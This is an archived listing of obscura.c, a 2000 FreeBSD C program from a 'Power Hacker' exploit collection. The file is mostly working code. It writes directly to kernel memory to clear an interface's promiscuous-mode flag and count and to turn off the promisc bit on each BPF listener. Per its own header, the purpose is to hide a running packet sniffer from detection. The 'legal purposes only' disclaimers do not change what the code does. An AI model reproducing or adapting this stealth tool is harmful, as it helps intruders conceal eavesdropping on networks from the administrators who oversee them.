home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / s0ftpj / obscura.c < prev    next >
Encoding:
C/C++ Source or Header  |  2000-12-17  |  3.8 KB  |  156 lines

  1. /*
  2.  * Name: Total obscurity for BPF Promisc Mode
  3.  * Date: Sat Mar 25 16:40:12 2000
  4.  * Author: pIGpEN [ pigpen@s0ftpj.org, deadhead@sikurezza.org ]
  5.  *
  6.  * SoftProject 2000 - Digital Sekurity for Y2k
  7.  * Sikurezza.org - Italian Security MailingList
  8.  *
  9.  * COFFEE-WARE LICENSE - This source code is like "THE BEER-WARE LICENSE" by
  10.  * Poul-Henning Kamp <phk@FreeBSD.ORG> but you can give me in return a coffee.
  11.  *
  12.  * Tested on: FreeBSD 3.4-RELEASE FreeBSD 3.4-RELEASE #4: Fri Mar i386
  13.  *
  14.  * Give more obscurity of P53-10 tools... note here as in apk's code if we 
  15.  * change IFF_PROMISC in ifnet structure .... 
  16.  * when your System calls a ioctl(SIOCSIFFLAGS) for that interface, it invokes  
  17.  * if_ioctl() and allframes bit for that device will be disabled because test 
  18.  * in init function is done for example in this way:
  19.  *
  20.  * if(ifp->if_flags & IFF_PROMISC) {
  21.  *    AL_SETBIT(sc, AL_NETCFG, AL_NETCFG_RX_PROMISC);
  22.  * } else {
  23.  *    AL_CLRBIT(sc, AL_NETCFG, AL_NET_CFG_RX_PROMISC);
  24.  * }
  25.  *
  26.  * SIOCSIFFLAGS is not the only situation for a call to init function for that
  27.  * device (see BFi-8 for further information)
  28.  *
  29.  * This code was written in order to test a my tool ... Modification or use of
  30.  * this source code is intended only for legal purposes, It was coded for no
  31.  * malicious aims.. perhaps it doesn't work ;)
  32.  *
  33.  * 
  34.  * Compile with: cc obscura.c -lkvm
  35.  *
  36.  */
  37.  
  38.  
  39. #include <stdio.h>
  40. #include <string.h>
  41. #include <sysexits.h>
  42. #include <err.h>
  43. #include <fcntl.h>
  44. #include <sys/types.h>
  45. #include <sys/socket.h>
  46. #include <net/if.h>
  47. #include <net/if_var.h>
  48. #include <net/bpfdesc.h>
  49. #include <nlist.h>
  50. #include <kvm.h>
  51.  
  52. #define    Error(x)    errx(EX_UNAVAILABLE, x);
  53.  
  54. void    usage        __P((char *));
  55. void    bpf_zero    __P((kvm_t *, struct ifnet *));
  56.  
  57. struct nlist list[] = {
  58.     {"_ifnet"},
  59.     {NULL}
  60. };
  61.  
  62. int 
  63. main(int argc, char **argv)
  64. {
  65.     struct ifnethead ifh;
  66.     struct ifnet ifc, *ifp;
  67.     char ifname[IFNAMSIZ];
  68.     kvm_t *kd;
  69.     
  70.     if(argc!=2)
  71.         usage(argv[0]);
  72.  
  73.     if(!(kd=kvm_open(NULL, NULL, NULL, O_RDWR, NULL)))
  74.         Error("kvm_open()");
  75.  
  76.     if(kvm_nlist(kd, list) == -1)
  77.         Error("kvm_nlist()");
  78.  
  79.     if(!list[0].n_value)
  80.         Error("checking n_value");
  81.  
  82.     kvm_read(kd, list[0].n_value, &ifh, sizeof ifh);
  83.     ifp = ifh.tqh_first;
  84.  
  85.     for(;ifp;ifp = ifc.if_link.tqe_next) {
  86.  
  87.         kvm_read(kd, (u_long)ifp, &ifc, sizeof ifc);    
  88.         kvm_read(kd, (u_long)ifc.if_name, ifname, sizeof ifname);
  89.         snprintf(ifname, IFNAMSIZ, "%s%d", ifname, ifc.if_unit);
  90.     
  91.         if(!strcmp(ifname, argv[1])) {
  92.             printf("%s found ... promisc mode ", ifname);
  93.             if(ifc.if_flags & IFF_PROMISC) {
  94.                 printf("(found)\n");
  95.                 if(ifc.if_pcount) 
  96.                 /* I clear this ...  
  97.                   * you can do a perfect thing by changing this
  98.                   * in bpf_zero() decreasing for each descriptor
  99.                   * found ...
  100.                   */ 
  101.                     ifc.if_pcount = 0;
  102.                 ifc.if_flags &= ~IFF_PROMISC;
  103.                 kvm_write(kd, (u_long)ifp, &ifc, sizeof ifc);
  104.                 printf("BPF Analysis for %s interface\n",
  105.                     ifname);
  106.                 bpf_zero(kd, &ifc);
  107.             }else
  108.                 printf("(not found)\n");
  109.             
  110.         } else
  111.             printf("skipping -> %s\n", ifname);
  112.  
  113.  
  114.     }
  115.  
  116.     kvm_close(kd);
  117.     return 0;
  118.     
  119. }
  120.  
  121. void
  122. usage(char *name)
  123. {
  124.     printf("FreeBSD - Promisc Total Obscurity\n"
  125.            "Warning this tool is intended for testing of ks...\n"
  126.            "Don't use it for illegal purposes\n\n"
  127.            "pIGpEN [ pigpen@s0ftpj.org, deadhead@sikurezza.org ]\n\n");
  128.     printf("Usage: %s interface\n", name);
  129.     exit(1);
  130. }
  131.  
  132. void
  133. bpf_zero(kvm_t *kd, struct ifnet *ifp)
  134. {
  135.     struct bpf_if    ibpf;
  136.     struct bpf_d    dbpf, *pdbpf;
  137.     register int count = 0;
  138.  
  139.     kvm_read(kd, (u_long)ifp->if_bpf, &ibpf, sizeof ibpf);
  140.     pdbpf = ibpf.bif_dlist;
  141.  
  142.     for(; pdbpf; pdbpf = dbpf.bd_next) {
  143.         kvm_read(kd, (u_long)pdbpf, &dbpf, sizeof dbpf);
  144.         printf("#%d listener has %spromisc mode enabled", 
  145.                 ++count, (!dbpf.bd_promisc) ? "no " : " ");
  146.  
  147.         if(dbpf.bd_promisc) {
  148.             printf(" (changed)");
  149.             dbpf.bd_promisc = 0;
  150.             kvm_write(kd, (u_long)pdbpf, &dbpf, sizeof dbpf);
  151.         }
  152.  
  153.         putchar('\n');
  154.     }
  155. }
  156.